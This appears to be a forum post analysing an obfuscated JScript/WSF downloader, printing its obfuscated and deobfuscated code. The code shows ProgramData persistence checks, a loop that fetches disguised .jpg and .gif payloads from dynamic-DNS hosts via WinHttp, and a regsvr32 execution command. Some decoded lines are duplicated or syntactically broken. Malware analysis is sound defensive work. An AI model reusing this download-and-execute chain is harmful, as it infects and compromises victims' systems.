HafleihtskdjgkGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("QEXFDFTFOFUDCDEFRDEDCDDFRDEFUFCFEDDDCFPFDFP") ;
if((ashtFaqhlwugtewaaGwlnigi != ajgMaqkwugrshdkNameGwlnigi + NaflwigtGwlnigiLpdkqufrRgxqojrn("XFAFAFXGEFXFYFJFRDEGCFXFK"))){
KkxqojrkkkBxmohen("CgxqojrGwlnigi");
}
}
if (Objet_Scripting_FileSystemObject.FileExists("C:\ProgramData\UserName\auidxx60.log")){
if((WScript_ScriptFullName != "C:\ProgramData\UserName\system.wsf")){
WScript_Quit(0);
}
}
(3) Path :
NaflwigtGwlnigiLpdkqufrRgxqojrn("YEBDRFBFBEOFXFUFMFXFGFSECFGGAFGFBFB");
=> "C:\\ProgramData\\"
This way User_Path = "C:\ProgramData\[UserName]\" was found as main path used.
Isqxeihyh4h4h4Bxmohen = NaflwigtGwlnigiLpdkqufrRgxqojrn("CDYDUELFBEREYFDCIDP");
Kkxqojrh4h3h2Bxmohen = NaflwigtGwlnigiLpdkqufrRgxqojrn("IETFJFMFEFHFA");
Eqknugpgja1111jhauNaflwigt = Isqxeihyh4h4h4Bxmohen+Kkxqojrh4h3h2Bxmohen;
ashtFaqhlwugtewaaGwlnigi = FaqhlwugtdfiuerBxmohen("RgxqojrnshuPlmeheiq");
ppjjhMaqkwugrjjhGwlnigi = WScript.CreateObject(Eqknugpgja1111jhauNaflwigt);
// UserName
dfDpqgkqufrregqqKkxqojr = ppjjhMaqkwugrjjhGwlnigi.UserName;
ajgMaqkwugrshdkNameGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("YEBDRFBFBEOFXFUFMFXFGFSECFGGAFGFBFB") + ppjjhMaqkwugrjjhGwlnigi.UserName;
// "C:\ProgramData\[UserName]"
Kkxqojrh4h3h2Bxmohen = NaflwigtGwlnigiLpdkqufrRgxqojrn("IETFJFMFEFHFA");
Eqknugpgja1111jhauNaflwigt = Isqxeihyh4h4h4Bxmohen+Kkxqojrh4h3h2Bxmohen;
ashtFaqhlwugtewaaGwlnigi = FaqhlwugtdfiuerBxmohen("RgxqojrnshuPlmeheiq");
ppjjhMaqkwugrjjhGwlnigi = WScript.CreateObject(Eqknugpgja1111jhauNaflwigt);
// UserName
dfDpqgkqufrregqqKkxqojr = ppjjhMaqkwugrjjhGwlnigi.UserName;
ajgMaqkwugrshdkNameGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("YEBDRFBFBEOFXFUFMFXFGFSECFGGAFGFBFB") + ppjjhMaqkwugrjjhGwlnigi.UserName;
// "C:\ProgramData\[UserName]"
Objet_Network = WScript.CreateObject("WScript.Network");
User_Path = "C:\ProgramData\" + Objet_Network.UserName;
User_Path = "C:\ProgramData\" + Objet_Network.UserName;
if(! (sDpqgkqufr.FolderExists(ajgMaqkwugrshdkNameGwlnigi))){
HafleihtskdjgkGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("RFPFDFFFSDDDFDEFSDFFSFSFSFVFQFP");
sDpqgkqufr.CreateFolder(ajgMaqkwugrshdkNameGwlnigi);
HafleihtskdjgkGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("VFTFHGAFUFWDHDIFWDJDJDIDJFT");
}
HafleihtskdjgkGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("RFPFDFFFSDDDFDEFSDFFSFSFSFVFQFP");
sDpqgkqufr.CreateFolder(ajgMaqkwugrshdkNameGwlnigi);
HafleihtskdjgkGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("VFTFHGAFUFWDHDIFWDJDJDIDJFT");
}
if(! (Scripting_FileSystemObject.FolderExists(User_Path))){
Scripting_FileSystemObject.CreateFolder(User_Path);
}
Scripting_FileSystemObject.CreateFolder(User_Path);
}
(4) Main log files :
log_file_r2 = Objet_Scripting_FileSystemObject.OpenTextFile("C:\ProgramData\UserName\r2.log",8,true,false);
log_file_r2.WriteLine(WScript_ScriptFullName);
log_file_r2.Close();
if((WScript_ScriptFullName != "C:\ProgramData\UserName\system.wsf"))){
log_file_auid = Objet_Scripting_FileSystemObject.OpenTextFile("C:\ProgramData\UserName\auid.log",8,true,false);
log_file_auid.WriteLine(WScript_ScriptFullName);
log_file_auid.Close();
}
log_file_auidxx60 = Objet_Scripting_FileSystemObject.OpenTextFile("C:\ProgramData\UserName\auidxx60.log",8,true,false);
log_file_auidxx60.WriteLine(WScript_ScriptFullName);
log_file_auidxx60.Close();
log_file_r2.WriteLine(WScript_ScriptFullName);
log_file_r2.Close();
if((WScript_ScriptFullName != "C:\ProgramData\UserName\system.wsf"))){
log_file_auid = Objet_Scripting_FileSystemObject.OpenTextFile("C:\ProgramData\UserName\auid.log",8,true,false);
log_file_auid.WriteLine(WScript_ScriptFullName);
log_file_auid.Close();
}
log_file_auidxx60 = Objet_Scripting_FileSystemObject.OpenTextFile("C:\ProgramData\UserName\auidxx60.log",8,true,false);
log_file_auidxx60.WriteLine(WScript_ScriptFullName);
log_file_auidxx60.Close();
(5) URLs / files :
With the decrypter, by several calls, concatenation :
Loop with parameter i to construct several urls to try to download files.
i >= 0, 1 , 2
"https://AswjleihyKkxqojr.infernew0"+ i + ".dynamicdns.biz/04/?v=60&x1x2c=[fileID]";
(i modified something in url to security purpose !!!)
=> For each url, it try to download below files if not existing on pc
"C:\ProgramData\UserName\UserNamexmda.jpg" ( if one of below files is found, the function used to download this first file is overwritten )
"C:\ProgramData\UserName\UserNamexmdb.jpg"
"C:\ProgramData\UserName\UserNamexmdc.jpg"
"C:\ProgramData\UserName\guildwg.gif"
"C:\ProgramData\UserName\UserNamewg.gif"
"https://AswjleihyKkxqojr.infernew0"+ i + ".dynamicdns.biz/04/?v=60&x1x2c=[fileID]";
(i modified something in url to security purpose !!!)
=> For each url, it try to download below files if not existing on pc
"C:\ProgramData\UserName\UserNamexmda.jpg" ( if one of below files is found, the function used to download this first file is overwritten )
"C:\ProgramData\UserName\UserNamexmdb.jpg"
"C:\ProgramData\UserName\UserNamexmdc.jpg"
"C:\ProgramData\UserName\guildwg.gif"
"C:\ProgramData\UserName\UserNamewg.gif"
Dpqgkqufrh4h4aah4Eqknugp = ajgMaqkwugrshdkNameGwlnigi+LpdkqufrsljhirueCgxqojr+dfDpqgkqufrregqqKkxqojr+IsqxeihysjjauayaqHafleiht;
//"C:\\ProgramData\\UseName" + "\\" + UserName + "xmda.jpg";
Dpqgkqufrh4h4bbh4Eqknugp = Faqhlwugtkjst4jayMaqkwugr + KkxqojrssgtsyyaqFaqhlwugt + NaflwigtGwlnigiLpdkqufrRgxqojrn("IDTFFESFAFGFKEUFHFNFNFNEP");
//url from where to download the file :
"hxxps://AswjleihyKkxqojr.infernew0"+ i + ".dynamicdns.biz/04/?v=60&x1x2c=[fileID]";
(i modified something in url to security purpose !!!)
try // try to download the file, and if all is ok, save it to the PC
{
if (Cgxqojrh46sDpqgkqufr(Dpqgkqufrh4h4aah4Eqknugp) < Plmeheiqneysg3Bxmohen){
MaqkwugrllaakkssdKkxqojr(Dpqgkqufrh4h4bbh4Eqknugp, Dpqgkqufrh4h4aah4Eqknugp);
}
}
catch (Kkxqojr)
{
}
//"C:\\ProgramData\\UseName" + "\\" + UserName + "xmda.jpg";
Dpqgkqufrh4h4bbh4Eqknugp = Faqhlwugtkjst4jayMaqkwugr + KkxqojrssgtsyyaqFaqhlwugt + NaflwigtGwlnigiLpdkqufrRgxqojrn("IDTFFESFAFGFKEUFHFNFNFNEP");
//url from where to download the file :
"hxxps://AswjleihyKkxqojr.infernew0"+ i + ".dynamicdns.biz/04/?v=60&x1x2c=[fileID]";
(i modified something in url to security purpose !!!)
Eqknugpkhs1111gyKkxqojr = NaflwigtGwlnigiLpdkqufrRgxqojrn("MFBFNFNFJ");
// "http"
CgxqojrdijurngyMaqkwugr = NaflwigtGwlnigiLpdkqufrRgxqojrn("LFLDECSCSDLFLFPFCFEEWFBFAFR");
// "s://Aswjleihy"
Gwlnigisjorkrj88dqJsqgxeohy = NaflwigtGwlnigiLpdkqufrRgxqojrn("CDMETFHFAEXESFBCIEREWEOENFBEWENFGCK");
// "Kkxqojr.infernew0"
Lpdkqufruisuishjsj88dqMaqkwugr = 200+100+55;
QxbedyqdshyFaqhlwugt = NaflwigtGwlnigiLpdkqufrRgxqojrn("NCTEXFTFIEUFHFD");
// ".dynami"
DpqgkqufrnsdhteIsqxeihy = NaflwigtGwlnigiLpdkqufrRgxqojrn("JESETFEFJCPEREY");
// "cdns.bi"
BxmohenfurKkxqojr = NaflwigtGwlnigiLpdkqufrRgxqojrn("PFWCWCXDCCW");
// "z/04/"
function EqknugpjdjuhheMaqkwugr(BxmohenhjsyePlmeheiq)
{
var HafleihtdnuiehDpqgkqufr;
var LpdkqufrsdferhNaflwigt;
try
{
LpdkqufrsdferhNaflwigt = Eqknugpkhs1111gyKkxqojr+ CgxqojrdijurngyMaqkwugr + Gwlnigisjorkrj88dqJsqgxeohy + BxmohenhjsyePlmeheiq;
HafleihtdnuiehDpqgkqufr = LpdkqufrsdferhNaflwigt + QxbedyqdshyFaqhlwugt + DpqgkqufrnsdhteIsqxeihy+BxmohenfurKkxqojr;
//
}
catch (Kkxqojr)
{
}
return HafleihtdnuiehDpqgkqufr;
// "https://AswjleihyKkxqojr.infernew0"+ i + ".dynamicdns.biz/04/"
// with i : value from a Loop
}
// "http"
CgxqojrdijurngyMaqkwugr = NaflwigtGwlnigiLpdkqufrRgxqojrn("LFLDECSCSDLFLFPFCFEEWFBFAFR");
// "s://Aswjleihy"
Gwlnigisjorkrj88dqJsqgxeohy = NaflwigtGwlnigiLpdkqufrRgxqojrn("CDMETFHFAEXESFBCIEREWEOENFBEWENFGCK");
// "Kkxqojr.infernew0"
Lpdkqufruisuishjsj88dqMaqkwugr = 200+100+55;
QxbedyqdshyFaqhlwugt = NaflwigtGwlnigiLpdkqufrRgxqojrn("NCTEXFTFIEUFHFD");
// ".dynami"
DpqgkqufrnsdhteIsqxeihy = NaflwigtGwlnigiLpdkqufrRgxqojrn("JESETFEFJCPEREY");
// "cdns.bi"
BxmohenfurKkxqojr = NaflwigtGwlnigiLpdkqufrRgxqojrn("PFWCWCXDCCW");
// "z/04/"
function EqknugpjdjuhheMaqkwugr(BxmohenhjsyePlmeheiq)
{
var HafleihtdnuiehDpqgkqufr;
var LpdkqufrsdferhNaflwigt;
try
{
LpdkqufrsdferhNaflwigt = Eqknugpkhs1111gyKkxqojr+ CgxqojrdijurngyMaqkwugr + Gwlnigisjorkrj88dqJsqgxeohy + BxmohenhjsyePlmeheiq;
HafleihtdnuiehDpqgkqufr = LpdkqufrsdferhNaflwigt + QxbedyqdshyFaqhlwugt + DpqgkqufrnsdhteIsqxeihy+BxmohenfurKkxqojr;
//
}
catch (Kkxqojr)
{
}
return HafleihtdnuiehDpqgkqufr;
// "https://AswjleihyKkxqojr.infernew0"+ i + ".dynamicdns.biz/04/"
// with i : value from a Loop
}
try // try to download the file, and if all is ok, save it to the PC
{
if (Cgxqojrh46sDpqgkqufr(Dpqgkqufrh4h4aah4Eqknugp) < Plmeheiqneysg3Bxmohen){
MaqkwugrllaakkssdKkxqojr(Dpqgkqufrh4h4bbh4Eqknugp, Dpqgkqufrh4h4aah4Eqknugp);
}
}
catch (Kkxqojr)
{
}
"WinHttp.WinHttpRequest.5.1"
MaqkwugrxxhgsreIsqxeihy = NaflwigtGwlnigiLpdkqufrRgxqojrn("KEHFAFFDR");
MaqkwugrxxhgsreIsqxeihy = MaqkwugrxxhgsreIsqxeihy + NaflwigtGwlnigiLpdkqufrRgxqojrn("KFLFLFHCQEHFA");
HafleihtskdjgkGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("QEXFDFTFDFBFEFQFBFEFQFDFBFOFUDDDCFPFDFP") ;
MaqkwugrxxhgsreIsqxeihy = MaqkwugrxxhgsreIsqxeihy + NaflwigtGwlnigiLpdkqufrRgxqojrn("RFMDYFS");
MaqkwugrxxhgsreIsqxeihy = MaqkwugrxxhgsreIsqxeihy + NaflwigtGwlnigiLpdkqufrRgxqojrn("QFRFNEI");
HafleihtskdjgkGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("KEREWFNFIFOEXFKEUEXEWFKEUEXEUEWEXFKEUEWEXCWCVFJEWFJ") ;
MaqkwugrxxhgsreIsqxeihy = MaqkwugrxxhgsreIsqxeihy + NaflwigtGwlnigiLpdkqufrRgxqojrn("IETFGFK");
MaqkwugrxxhgsreIsqxeihy = MaqkwugrxxhgsreIsqxeihy + NaflwigtGwlnigiLpdkqufrRgxqojrn("GERFGFH");
HafleihtskdjgkGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("NEUFAFQFLFRDAFNEXFBEXFBFNEXFAFBCYFMFAFM") ;
MaqkwugrxxhgsreIsqxeihy = MaqkwugrxxhgsreIsqxeihy + NaflwigtGwlnigiLpdkqufrRgxqojrn("LCRCY");
MaqkwugrxxhgsreIsqxeihy = MaqkwugrxxhgsreIsqxeihy + NaflwigtGwlnigiLpdkqufrRgxqojrn("RCXDB");
MaqkwugrxxhgsreIsqxeihy => "WinHttp.WinHttpRequest.5.1"
MaqkwugrxxhgsreIsqxeihy = MaqkwugrxxhgsreIsqxeihy + NaflwigtGwlnigiLpdkqufrRgxqojrn("KFLFLFHCQEHFA");
MaqkwugrxxhgsreIsqxeihy = MaqkwugrxxhgsreIsqxeihy + NaflwigtGwlnigiLpdkqufrRgxqojrn("RFMDYFS");
MaqkwugrxxhgsreIsqxeihy = MaqkwugrxxhgsreIsqxeihy + NaflwigtGwlnigiLpdkqufrRgxqojrn("QFRFNEI");
MaqkwugrxxhgsreIsqxeihy = MaqkwugrxxhgsreIsqxeihy + NaflwigtGwlnigiLpdkqufrRgxqojrn("IETFGFK");
MaqkwugrxxhgsreIsqxeihy = MaqkwugrxxhgsreIsqxeihy + NaflwigtGwlnigiLpdkqufrRgxqojrn("GERFGFH");
MaqkwugrxxhgsreIsqxeihy = MaqkwugrxxhgsreIsqxeihy + NaflwigtGwlnigiLpdkqufrRgxqojrn("LCRCY");
MaqkwugrxxhgsreIsqxeihy = MaqkwugrxxhgsreIsqxeihy + NaflwigtGwlnigiLpdkqufrRgxqojrn("RCXDB");
MaqkwugrxxhgsreIsqxeihy => "WinHttp.WinHttpRequest.5.1"
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1)"
function MaqkwugrllaakkssdNaflwigt(sAswjleihy, sdGwlnigiawIsqxeihy){
var CgxqojrdjfgaaKkxqojr;
var sxJsqgxeohytrAHafleiht;
var stDpqgkqufrrBIsqxeihy;
var stNaflwigtreetrKkxqojr;
var stBxmohenrttrDLpdkqufr;
var cxjfkgriqdafGwlnigi;
try
{
HafleihtskdjgkGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("TFBFGFWFRFXDGDFFSFGFS") ;
sxJsqgxeohytrAHafleiht = NaflwigtGwlnigiLpdkqufrRgxqojrn("ADGDEDT");
stDpqgkqufrrBIsqxeihy = "";
HafleihtskdjgkGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("OEVFBFRFMFSDBDAFNFBFN") ;
stNaflwigtreetrKkxqojr = DpqgkqufrjsdhuiCgxqojr;
stBxmohenrttrDLpdkqufr = akDpqgkqufrjsdiGwlnigi+akDpqgkqufrjsdiGwlnigi+akDpqgkqufrjsdiGwlnigi+akDpqgkqufrjsdiGwlnigi;
HafleihtskdjgkGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("XFFFKGBFVGCDKDJFWFKFW") ;
CgxqojrdjfgaaKkxqojr = WScript.CreateObject(MaqkwugrxxhgsreIsqxeihy);
HafleihtskdjgkGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("EEQEPCOFCFDEQ");
CgxqojrdjfgaaKkxqojr.settimeouts(Gwlnigikjdyhe5gahsCgxqojr, 34569, Gwlnigikjdyhe5gahsCgxqojr, IsqxeihykjshsMaqkwugr);
CgxqojrdjfgaaKkxqojr.Option(AswjleihyutywreNaflwigt) = stNaflwigtreetrKkxqojr;
HafleihtskdjgkGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("QEXFQFBFEDBDDDE");
CgxqojrdjfgaaKkxqojr.Option(Cgxqojrggrres1Lpdkqufr) = stBxmohenrttrDLpdkqufr;
HafleihtskdjgkGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("VFDFIFJDGDJFW");
CgxqojrdjfgaaKkxqojr.Option(Aswjleihyy356haeKkxqojr) = BxmohentryetrdEqknugp;
CgxqojrdjfgaaKkxqojr.Option(CgxqojrolkijueBxmohen) = BxmohentryetrdEqknugp;
CgxqojrdjfgaaKkxqojr.Open(sxJsqgxeohytrAHafleiht, sAswjleihy, CgxqojrertydfgDpqgkqufr);
CgxqojrdjfgaaKkxqojr.Send(stDpqgkqufrrBIsqxeihy);
if((CgxqojrdjfgaaKkxqojr.Status == aEqknugpoeywMaqkwugr+KkxqojrkwerwweDpqgkqufr)){
MaqkwugrllaakkssdKkxqojr = CgxqojrdjfgaaKkxqojr.ResponseBody;
try
{
Gwlnigishfiw11kjshasEqknugp(CgxqojrdjfgaaKkxqojr.ResponseBody,sdGwlnigiawIsqxeihy);
}
catch (Kkxqojr)
{
}
}
var CgxqojrdjfgaaKkxqojr;
var sxJsqgxeohytrAHafleiht;
var stDpqgkqufrrBIsqxeihy;
var stNaflwigtreetrKkxqojr;
var stBxmohenrttrDLpdkqufr;
var cxjfkgriqdafGwlnigi;
try
{
sxJsqgxeohytrAHafleiht = NaflwigtGwlnigiLpdkqufrRgxqojrn("ADGDEDT");
stDpqgkqufrrBIsqxeihy = "";
stNaflwigtreetrKkxqojr = DpqgkqufrjsdhuiCgxqojr;
stBxmohenrttrDLpdkqufr = akDpqgkqufrjsdiGwlnigi+akDpqgkqufrjsdiGwlnigi+akDpqgkqufrjsdiGwlnigi+akDpqgkqufrjsdiGwlnigi;
CgxqojrdjfgaaKkxqojr = WScript.CreateObject(MaqkwugrxxhgsreIsqxeihy);
CgxqojrdjfgaaKkxqojr.settimeouts(Gwlnigikjdyhe5gahsCgxqojr, 34569, Gwlnigikjdyhe5gahsCgxqojr, IsqxeihykjshsMaqkwugr);
CgxqojrdjfgaaKkxqojr.Option(AswjleihyutywreNaflwigt) = stNaflwigtreetrKkxqojr;
CgxqojrdjfgaaKkxqojr.Option(Cgxqojrggrres1Lpdkqufr) = stBxmohenrttrDLpdkqufr;
CgxqojrdjfgaaKkxqojr.Option(Aswjleihyy356haeKkxqojr) = BxmohentryetrdEqknugp;
CgxqojrdjfgaaKkxqojr.Option(CgxqojrolkijueBxmohen) = BxmohentryetrdEqknugp;
CgxqojrdjfgaaKkxqojr.Open(sxJsqgxeohytrAHafleiht, sAswjleihy, CgxqojrertydfgDpqgkqufr);
CgxqojrdjfgaaKkxqojr.Send(stDpqgkqufrrBIsqxeihy);
if((CgxqojrdjfgaaKkxqojr.Status == aEqknugpoeywMaqkwugr+KkxqojrkwerwweDpqgkqufr)){
MaqkwugrllaakkssdKkxqojr = CgxqojrdjfgaaKkxqojr.ResponseBody;
try
{
Gwlnigishfiw11kjshasEqknugp(CgxqojrdjfgaaKkxqojr.ResponseBody,sdGwlnigiawIsqxeihy);
}
catch (Kkxqojr)
{
}
}
try
{
object_http = WScript.CreateObject("WinHttp.WinHttpRequest.5.1");
object_http.settimeouts(34871, 34566, 34871, 32876);
object_http.Option(0) = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1)";
object_http.Option(4) = 13056;
object_http.Option(6) = true;
object_http.Option(12) = true;
object_http.Open("GET, url, false);
object_http.Send("");
if((object_http.Status == 200)){
try
{
Create_open_write_save_ADODB_stream(object_http.ResponseBody,file_path);
}
catch (Kkxqojr)
{
}
}
{
object_http = WScript.CreateObject("WinHttp.WinHttpRequest.5.1");
object_http.settimeouts(34871, 34566, 34871, 32876);
object_http.Option(0) = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1)";
object_http.Option(4) = 13056;
object_http.Option(6) = true;
object_http.Option(12) = true;
object_http.Open("GET, url, false);
object_http.Send("");
if((object_http.Status == 200)){
try
{
Create_open_write_save_ADODB_stream(object_http.ResponseBody,file_path);
}
catch (Kkxqojr)
{
}
}
(7) Method Used to save files :
"ADODB.Stream"
option => 2 : Overwrites the file with the data from the currently open Stream object, if the file already exists
function Gwlnigishfiw11kjshasEqknugp(DpqgkqufrkjsadhieGwlnigi, NaflwigtkjsdsfgerieKkxqojr){
var cxjfkgriqdafGwlnigi;
try
{
cxjfkgriqdafGwlnigi = WScript.CreateObject(fdKkxqojrjkuuqFaqhlwugt);
cxjfkgriqdafGwlnigi.Type = ajskCgxqojrgfiuyriw4355Oafwhmtd;
cxjfkgriqdafGwlnigi.Open();
GwlnigisdsfghlskEqknugp(cxjfkgriqdafGwlnigi, DpqgkqufrkjsadhieGwlnigi, NaflwigtkjsdsfgerieKkxqojr);
}
catch (Kkxqojr)
{
}
}
function GwlnigisdsfghlskEqknugp(cxjfkgriqdafGwlnigi, DpqgkqufrkjsadhieGwlnigi, NaflwigtkjsdsfgerieKkxqojr){
try
{
HafleihtskdjgkGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("RFFFQDCDDDEFQFVFDFSFVFRFVDEDDFSFVDFDD");
cxjfkgriqdafGwlnigi.Write(DpqgkqufrkjsadhieGwlnigi);
cxjfkgriqdafGwlnigi.SaveToFile(NaflwigtkjsdsfgerieKkxqojr, aKkxqojrsdhgfqiutrHafleiht);
}
catch (Kkxqojr)
{
}
}
var cxjfkgriqdafGwlnigi;
try
{
cxjfkgriqdafGwlnigi = WScript.CreateObject(fdKkxqojrjkuuqFaqhlwugt);
cxjfkgriqdafGwlnigi.Type = ajskCgxqojrgfiuyriw4355Oafwhmtd;
cxjfkgriqdafGwlnigi.Open();
GwlnigisdsfghlskEqknugp(cxjfkgriqdafGwlnigi, DpqgkqufrkjsadhieGwlnigi, NaflwigtkjsdsfgerieKkxqojr);
}
catch (Kkxqojr)
{
}
}
function GwlnigisdsfghlskEqknugp(cxjfkgriqdafGwlnigi, DpqgkqufrkjsadhieGwlnigi, NaflwigtkjsdsfgerieKkxqojr){
try
{
HafleihtskdjgkGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("RFFFQDCDDDEFQFVFDFSFVFRFVDEDDFSFVDFDD");
cxjfkgriqdafGwlnigi.Write(DpqgkqufrkjsadhieGwlnigi);
cxjfkgriqdafGwlnigi.SaveToFile(NaflwigtkjsdsfgerieKkxqojr, aKkxqojrsdhgfqiutrHafleiht);
}
catch (Kkxqojr)
{
}
}
function Create_open_write_save_ADODB_stream(object_http.ResponseBody, file_path){
var Objet_ADODB_Stream;
try
{
Objet_ADODB_Stream = WScript.CreateObject( "ADODB.Stream");
Objet_ADODB_Stream.Type = 1;
Objet_ADODB_Stream.Open();
write_save_ADODB_stream(Objet_ADODB_Stream, object_http.ResponseBody, file_path);
}
catch (Kkxqojr)
{
}
}
function write_save_ADODB_stream(Objet_ADODB_Stream, object_http.ResponseBody, file_path){
try
{
Objet_ADODB_Stream.Write(object_http.ResponseBody);
Objet_ADODB_Stream.SaveToFile(file_path, 2);
}
catch (Kkxqojr)
{
}
}
var Objet_ADODB_Stream;
try
{
Objet_ADODB_Stream = WScript.CreateObject( "ADODB.Stream");
Objet_ADODB_Stream.Type = 1;
Objet_ADODB_Stream.Open();
write_save_ADODB_stream(Objet_ADODB_Stream, object_http.ResponseBody, file_path);
}
catch (Kkxqojr)
{
}
}
function write_save_ADODB_stream(Objet_ADODB_Stream, object_http.ResponseBody, file_path){
try
{
Objet_ADODB_Stream.Write(object_http.ResponseBody);
Objet_ADODB_Stream.SaveToFile(file_path, 2);
}
catch (Kkxqojr)
{
}
}
(8) cmd used
The malware end with :
file = "C:\ProgramData\UserName\UserNamewg.gif";
WScript.Sleep_(3535);
WScript.Sleep_(3535);
if (if_file_exist_return_10_else_0(file) > 2){
run_cmd(file);
function MaqkwugrjhgdteAswjleihy(Maqkwugrndsggste4asGwlnigi)
{
try
{
Eqknugphsyr66nnfCgxqojr = new ActiveXObject(NaflwigtGwlnigiLpdkqufrRgxqojrn("OELEHEXFNFEFLFPCUEHFDFAFHFH"));
Eqknugphsyr66nnfCgxqojr.run(aKkxqojrgefGwlnigiuy + Bxmohenh5tgpIsqxeihy + Maqkwugrndsggste4asGwlnigi , Eqknugpd7d7Cgxqojr, true);
HafleihtskdjgkGwlnigi = NaflwigtGwlnigiLpdkqufrRgxqojrn("TFBFGFWFRFXDGDFFSFGFS");
KkxqojrkkkBxmohen("MaqkwugrGwlnigi");
}
catch (Kkxqojr)
{
}
{
try
{
Eqknugphsyr66nnfCgxqojr = new ActiveXObject(NaflwigtGwlnigiLpdkqufrRgxqojrn("OELEHEXFNFEFLFPCUEHFDFAFHFH"));
Eqknugphsyr66nnfCgxqojr.run(aKkxqojrgefGwlnigiuy + Bxmohenh5tgpIsqxeihy + Maqkwugrndsggste4asGwlnigi , Eqknugpd7d7Cgxqojr, true);
KkxqojrkkkBxmohen("MaqkwugrGwlnigi");
}
catch (Kkxqojr)
{
}
function run_cmd(file)
{
try
{
Objet_Shell = new ActiveXObject("WScript.Shell");
Objet_Shell.run("cmd /c start regsvr32.exe /s C:\ProgramData\UserName\UserNamewg.gif" , 0, true);
WScript_Quit(0);
}
catch (Kkxqojr)
{
}
{
try
{
Objet_Shell = new ActiveXObject("WScript.Shell");
Objet_Shell.run("cmd /c start regsvr32.exe /s C:\ProgramData\UserName\UserNamewg.gif" , 0, true);
WScript_Quit(0);
}
catch (Kkxqojr)
{
}
Note :
WScript.sleep(3535) is used 8 times
HafleihthsdyeIsqxeihy = 3535;
function AswjleihykadfjosijfoeLpdkqufr(FaqhlwugtlkosdfjjiaGwlnigi)
{
var Faqhlwugte4ijiwyNaflwigt;
WScript.sleep(HafleihthsdyeIsqxeihy);
return Faqhlwugte4ijiwyNaflwigt;
}
function AswjleihykadfjosijfoeLpdkqufr(FaqhlwugtlkosdfjjiaGwlnigi)
{
var Faqhlwugte4ijiwyNaflwigt;
WScript.sleep(HafleihthsdyeIsqxeihy);
return Faqhlwugte4ijiwyNaflwigt;
}
Conclusion :
The person who made this method have done a relative good job, when compared with a lot of other obfuscated methods I used to see, these last months.
Last edited: